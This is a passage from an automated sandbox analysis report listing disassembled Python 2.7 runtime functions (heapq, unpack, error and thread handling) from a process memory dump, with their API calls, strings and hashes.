                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String_$AttrCallClearEval_FormatFromInternKeywordsObjectObject_PlaceStringWith
                                                                                                                                                                    • String ID: __int__
                                                                                                                                                                    • API String ID: 2531902524-1878893692
                                                                                                                                                                    • Opcode ID: ccfbf7f85dfc0b917d4da394fd71ffc2af4c86d6e7f47bdc3bb7d2bd57025bf6
                                                                                                                                                                    • Instruction ID: c5e06d3b653a515435a149fe82fb75e58cf16d1645d0fbb4bdd97aeb74d9df88
                                                                                                                                                                    • Opcode Fuzzy Hash: ccfbf7f85dfc0b917d4da394fd71ffc2af4c86d6e7f47bdc3bb7d2bd57025bf6
                                                                                                                                                                    • Instruction Fuzzy Hash: E231B1B1E04601DBDA10CA58E841B5A73F8EB4D734F20476AE9688B340E735ED16C7E2
                                                                                                                                                                    Function 6701A610 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 90COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyTuple_Pack.PYTHON27(00000001,?), ref: 6701A64B
                                                                                                                                                                    • _PyArg_ParseTuple_SizeT.PYTHON27(00000000,s*:unpack,?), ref: 6701A663
                                                                                                                                                                    • PyBuffer_Release.PYTHON27(?), ref: 6701A67B
                                                                                                                                                                    • PyErr_Format.PYTHON27(00000000,unpack requires a string argument of length %zd,?), ref: 6701A6A3
                                                                                                                                                                    • PyBuffer_Release.PYTHON27(?), ref: 6701A6D5
                                                                                                                                                                      • Part of subcall function 6701A560: PyTuple_New.PYTHON27(?), ref: 6701A56B
                                                                                                                                                                    Strings
                                                                                                                                                                    • unpack requires a string argument of length %zd, xrefs: 6701A69D
                                                                                                                                                                    • s*:unpack, xrefs: 6701A65D
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Tuple_$Buffer_Release$Arg_Err_FormatPackParseSize
                                                                                                                                                                    • String ID: s*:unpack$unpack requires a string argument of length %zd
                                                                                                                                                                    • API String ID: 188475007-4241327703
                                                                                                                                                                    • Opcode ID: cc55280f7e2c24cd5cacee693074523b2b9056fc963c67fbdff61674739ea7b8
                                                                                                                                                                    • Instruction ID: fbdb24df55bdab26fec68a9c3d77fe805330f854bf1398342fc670cc9534bf2a
                                                                                                                                                                    • Opcode Fuzzy Hash: cc55280f7e2c24cd5cacee693074523b2b9056fc963c67fbdff61674739ea7b8
                                                                                                                                                                    • Instruction Fuzzy Hash: 3121DBB2B051045FD700DA94EC81E9F73E9EF98224B244265ED1C87241E735ED5AC7F2
                                                                                                                                                                    Function 67008610 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 88COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyArg_UnpackTuple.PYTHON27(?,heappushpop,00000002,00000002,?,?), ref: 6700862B
                                                                                                                                                                      • Part of subcall function 67125D90: PyString_FromString.PYTHON27(PyArg_UnpackTuple() argument list is not a tuple), ref: 67125DB2
                                                                                                                                                                      • Part of subcall function 67125D90: PyErr_SetObject.PYTHON27(672465C8,00000000,PyArg_UnpackTuple() argument list is not a tuple), ref: 67125DBB
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,heap argument must be a list), ref: 67008652
                                                                                                                                                                      • Part of subcall function 67008130: PyString_FromString.PYTHON27(__lt__), ref: 67008144
                                                                                                                                                                    • PyErr_SetString.PYTHON27(67245B38,index out of range), ref: 6700869D
                                                                                                                                                                      • Part of subcall function 670082E0: PyString_FromString.PYTHON27(index out of range), ref: 6700830A
                                                                                                                                                                      • Part of subcall function 670082E0: PyErr_SetObject.PYTHON27(67245B38,00000000,index out of range), ref: 67008313
                                                                                                                                                                    Strings
                                                                                                                                                                    • heappushpop, xrefs: 67008625
                                                                                                                                                                    • index out of range, xrefs: 67008697
                                                                                                                                                                    • 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 67008691
                                                                                                                                                                    • heap argument must be a list, xrefs: 6700864C
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: String$Err_$FromString_$Object$Arg_TupleUnpack
                                                                                                                                                                    • String ID: 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$heap argument must be a list$heappushpop$index out of range
                                                                                                                                                                    • API String ID: 3571261255-2900142856
                                                                                                                                                                    • Opcode ID: c11a3af940c2177132770cd3e972fe470322cebcd000369bc89fb9d9d450cf51
                                                                                                                                                                    • Instruction ID: f3676702cd2beabdf560de4999cae29b19e351bdb57f076c630fadc29ffc4cf4
                                                                                                                                                                    • Opcode Fuzzy Hash: c11a3af940c2177132770cd3e972fe470322cebcd000369bc89fb9d9d450cf51
                                                                                                                                                                    • Instruction Fuzzy Hash: 5E218F39A005089FDB00CBA4D885E69B3F8FF4D325F108699E91897390E631EE52DB91
                                                                                                                                                                    Function 670C3660 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 87COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_NoMemory.PYTHON27(?,?,670C38F0,00000014,?), ref: 670C366E
                                                                                                                                                                      • Part of subcall function 67120380: PyErr_GivenExceptionMatches.PYTHON27(00000000,672467A8,?,670D7E82,00000000,6708B1D5,?,?,?,6708F66F,00000000,?,00000000,6708F785,00000000), ref: 67120396
                                                                                                                                                                      • Part of subcall function 67120380: PyErr_SetObject.PYTHON27(672467A8,?), ref: 671203B3
                                                                                                                                                                    • malloc.MSVCR90 ref: 670C3690
                                                                                                                                                                    • PyErr_NoMemory.PYTHON27(00000000,?,?,670C38F0,00000014,?), ref: 670C369F
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$Memory$ExceptionGivenMatchesObjectmalloc
                                                                                                                                                                    • String ID: F
                                                                                                                                                                    • API String ID: 3549491605-1304234792
                                                                                                                                                                    • Opcode ID: 4d2960eb21b625778ac27fb6501acc77f143699ba5abb3b350ba1d5c4c5071fd
                                                                                                                                                                    • Instruction ID: 156dd8185ca859beeda65ec817b859fc7cbd805b803e07dde88b44aef6c65a49
                                                                                                                                                                    • Opcode Fuzzy Hash: 4d2960eb21b625778ac27fb6501acc77f143699ba5abb3b350ba1d5c4c5071fd
                                                                                                                                                                    • Instruction Fuzzy Hash: AF21A1716106049FD720DE74E99172BB3E89B4D328F118769FD6ACB380E635E9418A73
                                                                                                                                                                    Function 67008550 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 71COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyArg_UnpackTuple.PYTHON27(?,heapreplace,00000002,00000002,?,?), ref: 6700856B
                                                                                                                                                                      • Part of subcall function 67125D90: PyString_FromString.PYTHON27(PyArg_UnpackTuple() argument list is not a tuple), ref: 67125DB2
                                                                                                                                                                      • Part of subcall function 67125D90: PyErr_SetObject.PYTHON27(672465C8,00000000,PyArg_UnpackTuple() argument list is not a tuple), ref: 67125DBB
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672448B0,heap argument must be a list), ref: 67008592
                                                                                                                                                                      • Part of subcall function 670082E0: PyString_FromString.PYTHON27(index out of range), ref: 6700830A
                                                                                                                                                                      • Part of subcall function 670082E0: PyErr_SetObject.PYTHON27(67245B38,00000000,index out of range), ref: 67008313
                                                                                                                                                                    • PyErr_SetString.PYTHON27(67245B38,index out of range), ref: 670085B1
                                                                                                                                                                    Strings
                                                                                                                                                                    • heapreplace, xrefs: 67008565
                                                                                                                                                                    • index out of range, xrefs: 670085AB
                                                                                                                                                                    • 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 670085A6
                                                                                                                                                                    • heap argument must be a list, xrefs: 6700858C
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String$FromObjectString_$Arg_TupleUnpack
                                                                                                                                                                    • String ID: 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$heap argument must be a list$heapreplace$index out of range
                                                                                                                                                                    • API String ID: 3032523836-4217083844
                                                                                                                                                                    • Opcode ID: 23e4aec5d93bea88dcf3b7870c9302b810e8912a14bf086da2f0130a16ddcb22
                                                                                                                                                                    • Instruction ID: f4d9b4c82bffe2de84105c46b9c8e87a306b36e0a61fc8e8a5da2b3edc0b46dc
                                                                                                                                                                    • Opcode Fuzzy Hash: 23e4aec5d93bea88dcf3b7870c9302b810e8912a14bf086da2f0130a16ddcb22
                                                                                                                                                                    • Instruction Fuzzy Hash: C2116035A10104EFDB10DBA8DC89E9AB3F8EB4D325F108695ED1897381EA31ED51DBD1
                                                                                                                                                                    Function 670BFDB0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 55COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyLong_Frexp.PYTHON27(?,?), ref: 670BFDD2
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672463F8,long int too large to convert to float), ref: 670BFE0D
                                                                                                                                                                    • ldexp.MSVCR90 ref: 670BFE26
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\longobject.c,00000920), ref: 670BFE49
                                                                                                                                                                    Strings
                                                                                                                                                                    • ..\Objects\longobject.c, xrefs: 670BFE3E
                                                                                                                                                                    • long int too large to convert to float, xrefs: 670BFE07
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670BFE43
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$FormatFrexpLong_Stringldexp
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\longobject.c$long int too large to convert to float
                                                                                                                                                                    • API String ID: 1971418049-180189209
                                                                                                                                                                    • Opcode ID: 8fa57d234830b59e4bc42976ddd50eae413d4e8b5beffc3b33fc3ceee61f64bf
                                                                                                                                                                    • Instruction ID: d7cad1a270e47ad1da9be23d4928328c87a59fa169adedae3d44abf1990a7675
                                                                                                                                                                    • Opcode Fuzzy Hash: 8fa57d234830b59e4bc42976ddd50eae413d4e8b5beffc3b33fc3ceee61f64bf
                                                                                                                                                                    • Instruction Fuzzy Hash: 6E0108B09001049BDB10EF58D94BF2537ADE78A70DF404698FA5C47141DB369665CBEA
                                                                                                                                                                    Function 67130EC0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 49threadCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • GetLastError.KERNEL32(6F82F1C3,?,?,670C5944), ref: 67130ECB
                                                                                                                                                                    • TlsGetValue.KERNEL32(?,?,670C5944), ref: 67130ED4
                                                                                                                                                                    • SetLastError.KERNEL32(00000000,?,670C5944), ref: 67130EDD
                                                                                                                                                                    • Py_FatalError.PYTHON27(Couldn't create thread-state for new thread), ref: 67130F06
                                                                                                                                                                      • Part of subcall function 67141420: __iob_func.MSVCR90 ref: 67141440
                                                                                                                                                                      • Part of subcall function 67141420: fprintf.MSVCR90 ref: 67141446
                                                                                                                                                                      • Part of subcall function 67141420: __iob_func.MSVCR90 ref: 6714144C
                                                                                                                                                                      • Part of subcall function 67141420: fflush.MSVCR90 ref: 67141452
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 67141499
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32 ref: 6714149C
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32(67213AD4), ref: 671414A3
                                                                                                                                                                      • Part of subcall function 67141420: abort.MSVCR90 ref: 671414A5
                                                                                                                                                                    • PyEval_RestoreThread.PYTHON27(00000000,?,670C5944), ref: 67130F25
                                                                                                                                                                    • PyEval_InitThreads.PYTHON27(?,?,?,?,?,?,?,?,?,?,?,?,?,?,670C5944), ref: 67130F34
                                                                                                                                                                      • Part of subcall function 67130600: malloc.MSVCR90 ref: 67130607
                                                                                                                                                                      • Part of subcall function 67130600: GetCurrentThreadId.KERNEL32 ref: 6713065C
                                                                                                                                                                      • Part of subcall function 67130600: _PyThreadState_Init.PYTHON27(00000000), ref: 67130692
                                                                                                                                                                      • Part of subcall function 67130600: InterlockedDecrement.KERNEL32(?), ref: 671306C9
                                                                                                                                                                      • Part of subcall function 67130600: SetEvent.KERNEL32(?), ref: 671306D7
                                                                                                                                                                    Strings
                                                                                                                                                                    • Couldn't create thread-state for new thread, xrefs: 67130F01
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: DebugErrorOutputStringThread$Eval_InitLast__iob_func$CurrentDecrementEventFatalInterlockedRestoreState_ThreadsValueabortfflushfprintfmalloc
                                                                                                                                                                    • String ID: Couldn't create thread-state for new thread
                                                                                                                                                                    • API String ID: 4077047371-820119880
                                                                                                                                                                    • Opcode ID: fe1ef1d12f0fa9e5f92f581c3b93b1835363e491112d09b523e9f0649d88444b
                                                                                                                                                                    • Instruction ID: f17457ec93f5e7df2c2f4a8adf9ea2008f5ab7df63a767c2a574f4fda8987132
                                                                                                                                                                    • Opcode Fuzzy Hash: fe1ef1d12f0fa9e5f92f581c3b93b1835363e491112d09b523e9f0649d88444b
                                                                                                                                                                    • Instruction Fuzzy Hash: EE012BB79146314BDB02AAB848C984733FEAFDE1743160437EA5593100EB38D848C7A1
                                                                                                                                                                    Function 670B9520 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 46COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Objects\listobject.c,000000B6), ref: 670B954B
                                                                                                                                                                    Strings
                                                                                                                                                                    • list index out of range, xrefs: 670B9578
                                                                                                                                                                    • 8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 670B958F
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 670B9545
                                                                                                                                                                    • ..\Objects\listobject.c, xrefs: 670B9540
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Objects\listobject.c$8[$gfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$list index out of range
                                                                                                                                                                    • API String ID: 376477240-2728134291
                                                                                                                                                                    • Opcode ID: 8a9a9bad1db26848f45723409787a947b7e9a899028a4b1076637c29aa2d2b7a
                                                                                                                                                                    • Instruction ID: 32ca6fb282a71692410e66468a663a0c4ce887b620717fc5d80836538e9be438
                                                                                                                                                                    • Opcode Fuzzy Hash: 8a9a9bad1db26848f45723409787a947b7e9a899028a4b1076637c29aa2d2b7a
                                                                                                                                                                    • Instruction Fuzzy Hash: 8401F7B0B502089BDB20DE38DC8AF1673E8E719718F044299FD1CC7341E633D65187A2
                                                                                                                                                                    Function 67125EE0 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 39COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Python\getargs.c,0000078E,?,67011E1D,Random(),?), ref: 67125F14
                                                                                                                                                                    Strings
                                                                                                                                                                    • %s does not take keyword arguments, xrefs: 67125F39
                                                                                                                                                                    • (}$g, xrefs: 67125EF6
                                                                                                                                                                    • ..\Python\getargs.c, xrefs: 67125F09
                                                                                                                                                                    • %s:%d: bad argument to internal function, xrefs: 67125F0E
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %s does not take keyword arguments$%s:%d: bad argument to internal function$(}$g$..\Python\getargs.c
                                                                                                                                                                    • API String ID: 376477240-804194627
                                                                                                                                                                    • Opcode ID: 73214569bb2ea07f95585562713a2c4c9616de93f4a170148f67ff316f646bf3
                                                                                                                                                                    • Instruction ID: e73660405ac5675e9086f0c6241fbc0e1abaebfd69cbd3a61bd8c5a08684dcf5
                                                                                                                                                                    • Opcode Fuzzy Hash: 73214569bb2ea07f95585562713a2c4c9616de93f4a170148f67ff316f646bf3
                                                                                                                                                                    • Instruction Fuzzy Hash: CCF0E9B1A5010C6BD710D968AD87A277358D72D258F004BA6FC3CC7241FA26E89097D2
                                                                                                                                                                    Function 67008F50 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 20COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • Py_InitModule4.PYTHON27(_heapq,6726C8E8,Heap queue algorithm (a.k.a. priority queue).Heaps are arrays for which a[k] <= a[2*k+1] and a[k] <= a[2*k+2] forall k, counting elements from 0. For the sake of comparison,non-existing elements are considered to be infinite. The interestingproperty of ,00000000,000003F5), ref: 67008F67
                                                                                                                                                                    • PyString_FromString.PYTHON27(Heap queues[explanation by Franois Pinard]Heaps are arrays for which a[k] <= a[2*k+1] and a[k] <= a[2*k+2] forall k, counting elements from 0. For the sake of comparison,non-existing elements are considered to be infinite. The interestingproperty of ), ref: 67008F7A
                                                                                                                                                                    • PyModule_AddObject.PYTHON27(00000000,__about__,00000000,Heap queues[explanation by Franois Pinard]Heaps are arrays for which a[k] <= a[2*k+1] and a[k] <= a[2*k+2] forall k, counting elements from 0. For the sake of comparison,non-existing elements are considered to be infinite. The interestingproperty of ), ref: 67008F86
                                                                                                                                                                      • Part of subcall function 6712EC70: PyType_IsSubtype.PYTHON27(?,?,?,?,670057F9,00000000,deque,6726FF60), ref: 6712EC87
                                                                                                                                                                      • Part of subcall function 6712EC70: PyErr_SetString.PYTHON27(672448B0,PyModule_AddObject() needs module as first arg,deque,6726FF60), ref: 6712EC9E
                                                                                                                                                                    Strings
                                                                                                                                                                    • Heap queues[explanation by Franois Pinard]Heaps are arrays for which a[k] <= a[2*k+1] and a[k] <= a[2*k+2] forall k, counting elements from 0. For the sake of comparison,non-existing elements are considered to be infinite. The interestingproperty of , xrefs: 67008F75
                                                                                                                                                                    • __about__, xrefs: 67008F80
                                                                                                                                                                    • _heapq, xrefs: 67008F62
                                                                                                                                                                    • Heap queue algorithm (a.k.a. priority queue).Heaps are arrays for which a[k] <= a[2*k+1] and a[k] <= a[2*k+2] forall k, counting elements from 0. For the sake of comparison,non-existing elements are considered to be infinite. The interestingproperty of , xrefs: 67008F58
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
